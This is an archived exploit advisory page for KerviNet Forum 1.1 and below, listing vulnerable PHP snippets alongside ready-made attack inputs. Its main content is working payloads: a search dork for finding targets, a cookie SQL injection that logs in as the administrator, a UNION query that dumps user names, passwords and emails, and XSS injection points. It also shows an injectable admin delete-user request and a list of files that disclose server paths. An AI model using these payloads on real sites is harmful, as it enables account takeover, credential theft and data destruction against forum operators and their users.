what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

KerviNet Forum 1.1 SQL Injection / XSS

KerviNet Forum 1.1 SQL Injection / XSS
Posted Jul 2, 2009
Authored by eLwaux

KerviNet Forum versions 1.1 and below suffer from SQL injection, cross site scripting, and a couple of other vulnerabilities.

tags | exploit, vulnerability, xss, sql injection
SHA-256 | 03ab4fb3fc6eccc1e20f14d8f559f10f3d745531e4781fe00fe87d54973704cd

KerviNet Forum 1.1 SQL Injection / XSS

Change Mirror Download
dork: "Copyright KerviNet"
eLwaux(c) 20.06.2009

## ## ## ##
Blind SQLinj
/index.php
-------------------------------------------------------------------------------------------------
if($_COOKIE['user_enter']=="auto") {
$enter_login=$_COOKIE['enter_login'];
$enter_parol=$_COOKIE['enter_parol'];
$mysql->query("SELECT name, pass, status FROM users WHERE name =
'".$enter_login."' AND pass = '".$enter_parol."'");
-------------------------------------------------------------------------------------------------
exploit:
COOKIE: user_enter=auto
COOKIE: enter_login = abc
COOKIE: enter_parol = ' or name = (select name from users where
id_user=1) and '1'='1';
sqlQuery: SELECT name, pass, status FROM users WHERE name = 'abc'
AND pass = '' or name = (select name from users where id_user<10 limit
1)
и вы автоматом зайдете под админом, даже не зная его имени (:



## ## ## ##
SQLinj
/message.php
-------------------------------------------------------------------------------------------------
9: $topic=$_GET['topic'];
18: if($topic) {
69: $mysql->query("SELECT name, viewing, voting, status, top_status,
id_forum FROM topics WHERE id_topic = ".$topic);
exploit:/message.php?topic=-1+union+select+1,concat_ws(0x3a,id_user,name,pass,email),3,4,5,6+from+users
-------------------------------------------------------------------------------------------------


## ## ## ##
SiXSS
/message.php
exploit:/message.php?topic=-1+union+select+1,'{XSS}',3,4,5,6+from+users


## ## ## ##
aXSS
/add_voting.php
-------------------------------------------------------------------------------------------------
22: $topic=$_GET['topic'];
61: if($topic) {
66: $forum_edit->add_voting($time, $topic, $v_vopros, $variants);
74: }

function add_voting($time, $topic, $v_vopros, $variants) {
global $user;
global $user_ip;
if($user) {
global $mysql;
$mysql->query("UPDATE topics SET voting = 1 WHERE id_topic = ".$topic);
$mysql->query("INSERT INTO v_name VALUES (0, '".$v_vopros."', ".$topic.")");
$id_vname=mysql_insert_id();
for($i=0; $i<count($variants); $i+=1) {
$vr_nom=$i+1;
$mysql->query("INSERT INTO v_variants VALUES (".$vr_nom.",
'".$variants[$i]."', ".$id_vname.")");
}
}
return $id_vname;
}
-------------------------------------------------------------------------------------------------

exploit:/add_voting.php?topic=1
POST: add_voting = ok_add
POST: v_vopros = v
POST: v_variant1 = {XSS}
POST: v_variant2 = v2


## ## ## ##
users deleating
/admin/edit_user.php
-------------------------------------------------------------------------------------------------
$del_user_id=$_POST['del_user_id'];
$mysql->query("DELETE FROM users WHERE id_user = ".$del_user_id);
-------------------------------------------------------------------------------------------------
exploit:
POST: del_user_id=(select user_id from users limit 1)


## ## ## ##
Path Disclosure
-------------------------------------------------------------------------------------------------
/include_files/voting_diagram.php
/include_files/voting.php
/include_files/topics_search.php
/include_files/topics_list.php
/include_files/top_part.php
/include_files/quick_search.php
/include_files/quick_reply.php
/include_files/moder_menu.php
/include_files/messages_list.php
/include_files/menu.php
/include_files/head.php
/include_files/forums_list.php
/include_files/forum_statistics.php
/include_files/forum_info.php
/include_files/birthday.php
/admin/head.php
-------------------------------------------------------------------------------------------------

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close